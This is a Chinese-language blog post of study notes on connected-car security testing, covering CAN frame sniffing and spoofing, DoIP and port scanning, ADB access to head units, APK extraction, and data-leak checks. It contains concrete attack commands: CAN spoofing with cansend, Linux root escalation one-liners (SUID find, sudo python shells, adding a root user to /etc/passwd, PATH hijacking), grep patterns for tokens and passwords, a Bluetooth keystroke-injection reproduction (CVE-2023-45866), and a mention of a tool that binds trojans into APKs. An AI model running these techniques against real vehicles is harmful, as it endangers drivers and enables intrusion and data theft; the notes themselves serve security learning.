车联网初步学习汇总
Zach0ry Lv4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
            云端服务器 / 手机APP

|
4G/5G网络
|
TBOX
|
CAN / Ethernet 总线

|
--------------------------------

| | |
ECU BCM 车机
发动机/电池 车身控制 娱乐系统

车机是一个硬件设备;IVI(In-Vehicle Infotainment)是车机里面负责信息娱乐的软件/系统。

TBOX:车载远程通信终端,车的联网盒子,负责车辆 ↔ 云端 ↔ 手机APP

负责4G/5G,通信GPS定位,远程控车,上报车辆状态,接收云端命令

can

CAN:ECU平时交换状态和控制消息。

因为CAN设计年代比较早,目标是可靠通信,没有身份验证,

can报文 广播

1
123#1122334455667788

如果一个恶意设备接入CAN,它也可能监听所有消息,或者伪装成车门ECU发送同样的报文。

ID越小优先级越高

监测实操

接好 USB-CAN 后,Kali 里应该能看到:

1
ip link

里面多出:can0

修改can参数

1
2
3
sudo ip link set can0 down
sudo ip link set can0 type can bitrate 500000 #listen-only on
sudo ip link set can0 up

然后抓:

1
2
candump -tz can0
timeout 20s candump -tz can0

如果有数据,会看到类似:

1
2
3
can0  123   [8]  11 22 33 44 55 66 77 88
can0 188 [8] 00 00 01 00 00 00 00 00
can0 201 [8] 10 20 00 00 00 00 00 00

伪造发包

1
cansend can0 188#0000000000000000

DoIP

DoIP = 车里的“网线版诊断接口”

1
2
3
手机热点:192.168.43.1
车机:192.168.43.20
电脑:192.168.43.30

这时电脑可以试着扫:

1
2
nmap -sn 192.168.43.0/24
nmap -sV 192.168.43.20

如果扫到:

1
13400/tcp open

那可以怀疑:

1
车机或网关暴露了 DoIP

但现实里,这种通过手机热点直接扫到 DoIP 的概率不高,因为手机热点更多是给车机上网,不一定能通到车辆诊断网络。

1
2
3
4
5
6
7
8
车机       192.168.0.10
TBOX 192.168.0.20
网关 192.168.0.1
ADAS 192.168.0.30

车门 ECU 没有 IP,走 CAN
发动机 ECU 没有 IP,走 CAN
刹车 ECU 没有 IP,走 CAN

adb

image

image

ADB(Android Debug Bridge)进入的是Android系统里的一个调试入口

根据实际情况,要先打开车的adb调试模式

在车机中打开开发者选项:
设置 → 关于设备 → 连续点击版本号 7 次

进入 开发者选项,开启USB 调试

有线连接

用支持数据传输的 USB 线连接电脑,优先尝试车机标注为 USB/OTG/调试 的接口。

电脑安装 Android SDK Platform-Tools,然后执行:

1
2
3
adb kill-server
adb start-server
adb devices

车机屏幕出现 RSA 授权提示时选择“允许”。看到类似下面的结果即连接成功:

1
xxxxx    device

如果显示 unauthorized,解锁车机并确认授权;如果没有设备,检查数据线、驱动、USB 接口及车机是否仅支持 Android Auto。部分车机不开放 USB ADB,只能在同一局域网下通过网络 ADB 连接:

TCP无线调试

先查找IP

  1. 车机设置中查看
    设置 → WLAN/Wi-Fi → 当前连接的热点 → 详细信息,查看 IP 地址。
  2. 手机热点查看已连接设备
    打开手机热点页面,查看已连接设备列表,有些手机会直接显示车机 IP。
  3. 路由器/热点管理页面查看
    查看 DHCP 客户端列表,找到车机名称或 MAC 地址。
  4. 电脑查看局域网设备
    Windows 执行:
1
2
>ipconfig
>arp -a

找到与电脑处于同一网段的未知设备 IP,再尝试:

1
2
>adb connect 192.168.43.25:5555
>adb devices

前提是车机已启用 网络 ADB/TCP 5555。如果连接失败,可能是车机未开启无线调试、热点启用了客户端隔离,或车机使用的端口不是 5555

同一个局域网,常见端口是5555

1
nmap -p 5555 192.168.43.9/24

之后执行连接操作

1
2
3
adb connect 192.168.1.23:5555
adb devices -l
adb shell

出现ABC123 device代表成功连接

之后调试

1
2
adb shell
id#查看权限,

普通ADB权限一般是:uid=2000(shell)

高权限调试版本可能是:uid=0(root)

若显示

1
192.168.1.23:5555    unauthorized

需要在车机上确认 RSA 授权弹窗:是否允许此计算机进行USB调试?

确认后再次执行:

1
2
adb devices
adb shell

新型无线调试

是 Android 11 及以上常见的 ADB 连接方式。它通常需要先配对,再连接:

  1. 车机打开:开发者选项 → 无线调试
  2. 选择“使用配对码配对设备”,记下:
    • 车机 IP
    • 配对端口
    • 6 位配对码
  3. 电脑执行:
1
adb pair 192.168.1.23:37099

按提示输入配对码。

  1. 回到无线调试页面查看“IP 地址和端口”,再连接:
1
2
3
adb connect 192.168.1.23:42135
adb devices
adb shell

这里的 3709942135 只是示例,实际端口以车机显示为准。传统 TCP ADB 才常用固定端口 5555,例如:

1
adb connect 192.168.1.23:5555

漏洞探查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ADB入口
|
+--- 权限过高(提root权限)
|
+--- 服务漏洞
|
+--- 信息泄露/system;/vendor/data
|
+--- 调试接口滥用
|
+--- Android漏洞
|
+--- 车机业务漏洞
|
+--- 横向攻击
|
+--- 恶意安装APK

第一步:确认权限:

1
2
>id
>whoami
1
>root/shell/system?

第二步:系统信息:

1
2
>uname -a
>getprop

第三步:查看:

1
2
3
4
>/system#核心
>adb pull xxx.apk
>/vendor#厂家代码
>/data#用户数据

看看APK/so/配置/密钥

第四步:找服务:

1
>ps -ef

看:root运行服务

第五步:看车辆接口:找车机和车辆其他模块怎么通信

1
2
3
>ip addr
>ifconfig
>ls /dev

寻找:

1
2
>can0
>ttyUSB

抓取实时日志

1
2
adb shell logcat -c#删除之前的
adb shell logcat > 1.txt

未授权服务

确认当前权限和系统

1
2
3
4
adb shell
id
getprop ro.build.version.release
getenforce

查看车机本机监听的端口

1
ss -lnt

如果没有 ss

1
netstat -lnt

重点记录类似:

1
2
3
0.0.0.0:8080
127.0.0.1:8080
192.168.1.23:5555

含义:

  • 0.0.0.0:8080:可能对局域网开放
  • 192.168.1.23:8080:绑定车机网卡,可能对局域网开放
  • 127.0.0.1:8080:只允许车机本机访问

从车机本机做低影响访问测试

如果车机有 curl

1
2
curl -i --max-time 5 http://127.0.0.1:8080/
curl -i --max-time 5 http://车机IP:8080/

如果没有 curl,可以先在电脑上测试:

1
curl.exe -i http://车机IP:8080/
  1. 判断是否需要认证
  • 200 OK:页面无需认证即可访问,值得进一步审计
  • 401 Unauthorized:要求认证
  • 403 Forbidden:服务存在但拒绝当前请求
  • 404 Not Found:服务存在,但路径不对
  • 连接失败:可能只监听回环地址、被防火墙阻止或服务已停止

linux提权

SUID提权

寻找高权限二进制文件

核心思路:在车机系统中,寻找被错误地设置了SUID权限的可执行文件。如果该文件允许执行命令或加载外部库,就能劫持它来获取root shell。

车机应用

    1. 信息收集:使用 find / -perm -u=s -type f 2>/dev/null 命令扫描车机。
    1. 常见目标:车机上可能存在用于系统维护、日志收集或硬件调试的定制二进制程序,这些是首要检查目标。
    1. 利用:如果发现 findcpmount 等命令具有SUID权限,即可直接利用(如 find . -exec /bin/sh \;)。对于自定义程序,可尝试参数注入或路径劫持。

Sudo提权

滥用配置不当的sudo规则

核心思路:车机开发或测试人员可能为了方便,在 /etc/sudoers 中配置了无需密码即可以root身份运行特定命令的规则。

车机应用

    1. 检查配置:执行 sudo -l 查看当前用户无需密码即可运行的命令。
    1. 利用:如果发现可以无密码运行 pythonperllessvitar 等,即可直接提权。
    • sudo python -c 'import os; os.system("/bin/sh")'
    • sudo less /etc/hosts → 在less中输入 !bash

内核漏洞提权

利用系统底层漏洞

核心思路:车机系统内核版本往往滞后且长期不更新,存在公开的提权漏洞(如经典的Dirty Cow)。

车机应用

    1. 信息收集:使用 uname -a 查看内核版本和系统架构。
    1. 寻找Exp:根据内核版本,在Kali的 searchsploit 或GitHub上搜索对应的提权Exp。
    1. 交叉编译与执行:将Exp源码通过交叉编译工具链编译成车机架构(通常是arm/arm64)的可执行文件,然后上传到车机执行。这是最直接、最有效的root手段之一。

Cron Jobs提权

利用定时任务

核心思路:利用以root权限运行的定时任务脚本的弱点。

车机应用

  • 通配符注入:如果定时任务中使用 tar * 等带通配符的命令打包文件,可以在该目录下创建以命令行参数命名的文件(如 --checkpoint=1)来执行任意命令。

  • 脚本覆盖:如果发现一个以root权限运行且普通用户有写权限的脚本文件,可以直接修改该脚本,插入反向Shell等命令,等待定时任务执行。

环境变量劫持

PATH滥用

核心思路:利用SUID程序在调用系统命令(如 catid)时,是从 PATH 环境变量中查找路径的这一特性。

车机应用

    1. 找到一个调用了系统命令的SUID程序(例如一个自定义的日志查看工具)。
    1. 编写一个与它所调用的命令同名的恶意程序(如 /tmp/cat)。
    1. 通过 export PATH=/tmp:$PATH/tmp 目录置于系统路径最前。
    1. 运行该SUID程序,它会优先执行位于 /tmp 的恶意程序,从而以root权限获得Shell。

/etc/passwd 提权

接添加用户

核心思路:如果 /etc/passwd 文件意外地具有写权限,可以直接添加一个密码为空的root用户。

车机应用

    1. 检查权限ls -l /etc/passwd
    1. 生成密码:使用 openssl passwd -1mkpasswd 生成一个密码哈希。
    1. 添加用户:将 test:generatedhash:0:0:root:/root:/bin/bash 追加到 /etc/passwd 文件中。
    1. 切换用户:使用 su test 并输入密码,即可获得root权限。

实战情况是在进入adb 模式后,尝试搜索suid文件提权,发现后门文件,尝试执行,成功提权root

扫描TCP未授权服务

比赛里你要这样判断它是不是漏洞:

第一步,发现服务:

1
2
3
4
5
nmap -sn 192.168.1.0/24#扫活着的设备
nmap -p- 192.168.43.213
nmap -p 22,23,80,443,5555,8080,8888,20000,13400 192.168.1.0/24

nmap -sV -p 22,23,80,5555,8080,20000,13400 192.168.1.23#看服务

看到:

1
20000/tcp open

只能说明端口开了。

第二步,连接服务:

1
nc 目标IP 20000

如果进去后有 console,说明服务可交互。

第三步,看是否鉴权:

如果它没有问:

1
2
3
4
username:
password:
token:
certificate:

而是直接让你输入命令,那就是未授权访问。

第四步,看命令能力:

1
help

如果 help 里有控制类、文件类、配置类命令,那就危险。

第五步,确认影响:

比如能不能:

  • 读设备信息;
  • 下载配置;
  • 上传文件;
  • 修改分辨率;
  • 修改相机矩阵;
  • 修改 PTS 侧边告警;
  • 修改倒车辅助逻辑。

做到这里,就不是普通信息泄露了,而是:

1
未授权访问 + 高权限调试接口暴露 + 车辆感知/辅助功能可被篡改

GPS欺骗

GPS欺骗(GPS Spoofing)是指攻击者通过发送伪造的GPS卫星信号,使GPS接收设备错误计算自身的位置、速度或时间信息。

GPS正常工作时,接收机通过接收多颗卫星发送的时间和位置信息,利用信号传播时间差计算当前位置。GPS欺骗通过模拟真实卫星信号,使接收机无法区分真实信号和伪造信号,从而输出攻击者指定的位置。

GPS欺骗与GPS干扰(Jamming)的区别:

  • GPS干扰:发送噪声阻断真实GPS信号,使设备无法定位。
  • GPS欺骗:发送伪造GPS信号,使设备得到错误但看似正常的定位结果。

在车联网系统中,GPS模块通常集成在TBOX中,GPS数据经过TBOX处理后上传云端或提供给车辆系统使用。攻击者可以通过GPS欺骗改变车辆的定位信息,导致云端平台、车辆追踪、导航系统等产生错误数据。

GPS欺骗的主要风险:

  1. 车辆位置被伪造;
  2. 轨迹记录出现异常;
  3. 远程车辆管理系统收到错误位置信息;
  4. 依赖GPS的导航和定位功能受到影响。

常见检测方法:

  1. 检查GPS位置是否存在不符合车辆运动规律的跳变;
  2. 对比GPS数据与CAN总线中的车速、轮速等车辆状态信息;
  3. 融合IMU、摄像头、高精地图等其他传感器进行交叉验证。

GPS欺骗攻击的核心问题是攻击GPS数据的可信性,而不是直接控制车辆。与CAN注入相比,GPS欺骗主要影响车辆定位和数据服务,而CAN注入主要影响车辆控制功能。

攻击者通过发送伪造的卫星导航信号,让 GPS 接收设备计算出错误的位置、速度或时间。

image

蓝牙控制:star:

蓝牙 HID 未授权按键注入。攻击设备伪装成蓝牙键盘,目标系统没有正确要求配对/绑定授权,就接受了键盘输入,于是攻击者可以“远程按键”。如果这些按键打开浏览器、输入 URL、打开终端、执行命令,就表现成“零点击代码执行”。

1
伪装蓝牙键盘 -> 目标接受连接 -> 发送按键 -> 系统当成真实键盘输入 -> 触发操作

具体流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[启动车机]
|
[插入 UD100 并确认连接]
|
[扫描蓝牙设备]
|
[运行 BlueDucky.py]
|
[检查蓝牙服务状态]
|
[分析/修改脚本蓝牙模块]
|
[进入 bluetoothctl 查看适配器状态]
|
[scan on 扫描附近设备]
|
[重新运行 BlueDucky.py(另一个终端)]
|
[执行 payload]
|
[实现零点击代码执行漏洞 ]

零点击代码执行漏洞复现(CVE-2023-45866)

APK安全

首先要知道如何拿到车机中的apk

在已由车企/供应商开启并授权的 USB 调试测试车机上,可直接用电脑导出指定已安装应用:

1
2
adb devices
adb shell pm list packages | findstr "关键字"

找到包名后,例如 com.example.headunit

1
adb shell pm path com.example.headunit

会返回类似:

1
package:/data/app/~~xxx/com.example.headunit-xxx/base.apk

将该路径复制到电脑当前目录:

1
adb pull "/data/app/~~xxx/com.example.headunit-xxx/base.apk" ".\headunit.apk"

pm path 返回多条 split_*.apk,说明是拆分 APK;应将每一条都分别导出,不能只取 base.apk

导出后核验:

1
Get-FileHash .\headunit.apk -Algorithm SHA256

注意:不要尝试绕过未开启的 USB 调试、安装限制或访问控制;没有授权调试通道时,应让车企/供应商通过研发工具导出目标包。

信息泄露

网络流量

无线网卡抓包

  1. 插上 USB 无线网卡

插到电脑 USB 口。

如果系统提示安装驱动,就安装官方驱动。

  1. 电脑先连手机热点

用电脑自带 Wi‑Fi 连接你的手机热点,保证电脑可以上网。

  1. 打开 Windows 移动热点

路径:

1
设置 → 网络和 Internet → 移动热点

设置:

1
2
共享我的 Internet 连接来源:手机热点对应的 WLAN
共享方式:Wi‑Fi

然后点开启。

如果能选择“通过哪个网卡发热点”,优先选 USB 无线网卡。

  1. 设置热点名和密码

例如:

1
2
3
热点名:car_test
密码:12345678
频段:2.4GHz

建议选 2.4GHz,因为车机兼容性更好。

  1. 车机连接这个热点

车机 Wi‑Fi 设置里连接:

1
car_test

连接成功后 Windows 页面会显示:

1
已连接的设备:1 台
  1. 打开 Wireshark 抓包

选择对应接口:

1
2
3
4
USB 无线网卡
Microsoft Wi-Fi Direct Virtual Adapter
Local Area Connection*
WLAN 2

如果不知道选哪个,看哪个接口流量在跳。

  1. 过滤车机流量

先查车机 IP:

1
ipconfig

通常热点网段是:

1
192.168.137.x

Wireshark 过滤:

1
ip.addr == 192.168.137.x && http

看 HTTP:

1
http

看 DNS:

1
dns

看 HTTPS 域名:

1
tls.handshake.extensions_server_name

image

adb直接在车机内部抓:

进去后看有没有 tcpdump:

1
which tcpdump

没有可以尝试上传

1
adb push tcpdump /data/local/tmp/

然后车机给他赋个权限

如果有:

1
tcpdump -i any -s 0 -w /sdcard/car.pcap

在车机上操作,比如打开地图、账号、音乐、设置、联网功能,然后 Ctrl+C 停止。

退出后拉出来:

1
adb pull /sdcard/car.pcap .

用 Wireshark 打开:

1
wireshark car.pcap

本地存储敏感信息

先看可访问目录

1
2
3
adb shell ls -la /sdcard/
adb shell find /sdcard -type f 2>/dev/null
adb shell ls -la /data/local/tmp/

重点目录:

  • /sdcard/Android/data/<包名>/files/
  • /sdcard/Download/
  • /sdcard/DCIM/
  • /sdcard/Documents/
  • 应用导出的日志、备份、数据库、.json.xml.txt.db 文件

搜索敏感关键词

1
adb shell grep -RniE "token|apikey|api_key|secret|password|passwd|authorization|bearer|cookie|session|jwt|手机号|身份|key" /sdcard 2>/dev/null

检查日志

1
adb logcat -d | findstr /i "token password authorization bearer session api_key"

看是否把登录密码、JWT、Cookie、接口响应、手机号或身份证等写入日志。

检查应用自身数据
仅适用于可调试应用:

1
2
3
adb shell run-as com.example.app ls -la files shared_prefs databases cache
adb shell run-as com.example.app cat shared_prefs/*.xml
adb shell run-as com.example.app ls databases

重点看:

  • shared_prefs/*.xml:登录态、Token、用户资料、开关配置
  • databases/*.db:SQLite 用户表、聊天记录、缓存接口响应
  • files/cache/:导出的文件、图片、WebView 内容、下载缓存
  • no_backup/:本不应被备份但仍可能包含敏感状态的数据

检查 APK 静态配置

1
adb pull /path/to/app.apk

反编译后搜索:

  • 写死的 API Key、第三方云服务凭据
  • 测试账号、测试环境地址
  • 调试接口、内部域名
  • android:allowBackup="true"android:debuggable="true"

判断是否为问题,核心看敏感信息是否以明文保存在外部存储、日志、可备份数据或不受权限保护的组件中,以及这些信息能否被低权限应用或拿到 ADB 的人读取。

应用缓存

例如:cache/

有些 App 会把:

1
2
3
4
5
HTTP响应
JSON
图片
用户数据
Token

缓存下来。

比如:weather_cache.json

里面:

1
2
3
4
{
"city": "xxx",
"api_token": "xxxxxxxx"
}

同样可能造成敏感信息泄露。

Native.so文件

APK:

1
2
3
4
5
lib/
├── arm64-v8a/
│ └── libweather.so
└── armeabi-v7a/
└── libweather.so

有些开发者会把:API Key/服务器地址/加密Key/协议Key

硬编码到 C/C++ Native代码。

可以:strings libweather.so

例如:

1
2
3
4
api.weathercn.com
apikey
secret
xxxxxxxxxxxx

然后再用IDA/Ghidra分析引用位置。

image

某些应用传输信息可能是明文,导致信息泄露
image

在车载平板天气应用中发现API密钥明文传输漏洞,导致付费天气服务API密钥暴露,可能造成经济损失和服务滥用。

车机存在任意文件安装,或者白名单,导致可以进行安卓欺骗攻击等

任意软件安装

检测使得否允许恶意软件

USB / 文件管理器

  1. 将测试 APK 放入 FAT32 格式 U 盘根目录。
  2. 插入车机 USB 口,打开系统自带“文件管理器/媒体浏览器/下载管理”。
  3. 查找 .apk 文件是否可见、点击后是否弹出安装器。
  4. 记录是否要求:
  • 开启“允许此来源安装应用”;
  • 输入密码或进入管理员模式;
  • APK 签名/包名在白名单中;
  • 系统明确拒绝安装。

**风险证据:**普通用户插入 U 盘即可对任意自签名 APK 发起并完成安装。

浏览器下载

  1. 在车机浏览器访问你控制的测试下载页面,下载测试 APK。
  2. 打开下载完成通知或“下载”目录。
  3. 点击 APK,观察系统是否允许进入安装流程。
  4. 重点看浏览器是否被授予“安装未知应用”权限,以及安装器是否验证签名来源。

**风险证据:**下载的非官方 APK 可被直接安装,无身份验证、签名白名单或来源约束。

蓝牙 / Wi‑Fi 文件传输

  1. 使用手机向车机发送同一测试 APK,或通过车机允许的局域网文件传输功能传入。
  2. 确认文件落地目录,例如“接收文件”“Download”。
  3. 从该目录打开 APK,记录是否能调用系统安装器。
  4. 测试完成后删除文件并卸载测试 APK。

**风险证据:**任意配对设备可向车机投递 APK,且车机可无约束安装。

应用商店与第三方商店

  1. 检查系统是否只有官方商店,还是允许安装第三方商店客户端。
  2. 对官方商店:确认上架应用是否必须经过签名、账号、车型/区域适配校验。
  3. 对第三方商店:只验证其安装包能否被安装,不下载或安装带系统工具、调试工具的应用。
  4. 观察是否存在“开发者渠道”“测试渠道”“企业分发”等未受限入口。

**风险证据:**可安装不受车企控制的软件分发渠道,且该渠道能继续安装任意 APK。

OTA / 本地升级包

  1. 进入“系统更新/软件更新”,仅查看是否存在“本地升级”“从 USB 更新”等选项。
  2. 记录系统对升级包的提示:是否显示版本、签名、车型匹配、校验结果。
  3. 不要导入或刷写未知升级包;这里的目标是确认是否有完整性和签名校验提示

**风险证据:**本地更新入口接受未签名、型号不匹配或来源不明的包。

维护菜单 / 工程模式

  1. 从车机设置、关于页面、售后维护入口中查看是否存在工程模式。
  2. 只记录进入条件:是否需诊断账号、物理介质、一次性授权或维修工具认证。
  3. 若菜单中有“USB 安装、调试、日志导出、开发者选项”等项目,仅截图记录其默认状态;不要开启或修改。

**风险证据:**普通用户无需认证即可进入维护菜单,并开启应用安装或调试能力。

最终把每个入口的结果归为三类:

  • **安全:**安装被签名/白名单/认证策略拒绝;
  • **待确认:**可进入安装器,但尚未完成安装;
  • **高风险:**非官方、自签名测试 APK 被普通用户成功安装并启动。

msf注入apk捆板木马

520ApkHook 是一款由 Java 编写的专业工具,它主要用于将安卓远程控制应用(Apk)嵌入到常规的Android应用程序中。当生成的新应用运行时,原应用能够正常运作,同时远程控制功能亦能无缝上线。此项目由 BaoGuo 开发,旨在提供一种方式绕过应用的安全检查,并具备加载远程控制组件的能力。
详细安装操作可以参考富礼照Lolita师傅文章

脚本提权限

下载python等软件进行提权和越权执行了

权限提升路径:

1
2
3
任意软件安装 → 系统工具获取 → 漏洞利用 → 权限提升
↓ ↓ ↓ ↓
安装Python → 安装adb工具 → 调试接口利用 → 获取root权限

示例脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 通过安装的Python执行系统命令
import os
import subprocess

# 尝试访问系统文件
try:
# 读取系统配置文件
with open('/system/build.prop', 'r') as f:
print(f.read())
except PermissionError:
print("需要更高权限")

# 尝试提权
subprocess.run(['su', '-c', 'whoami'])

或者其他提权脚本

 请作者喝杯咖啡
 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View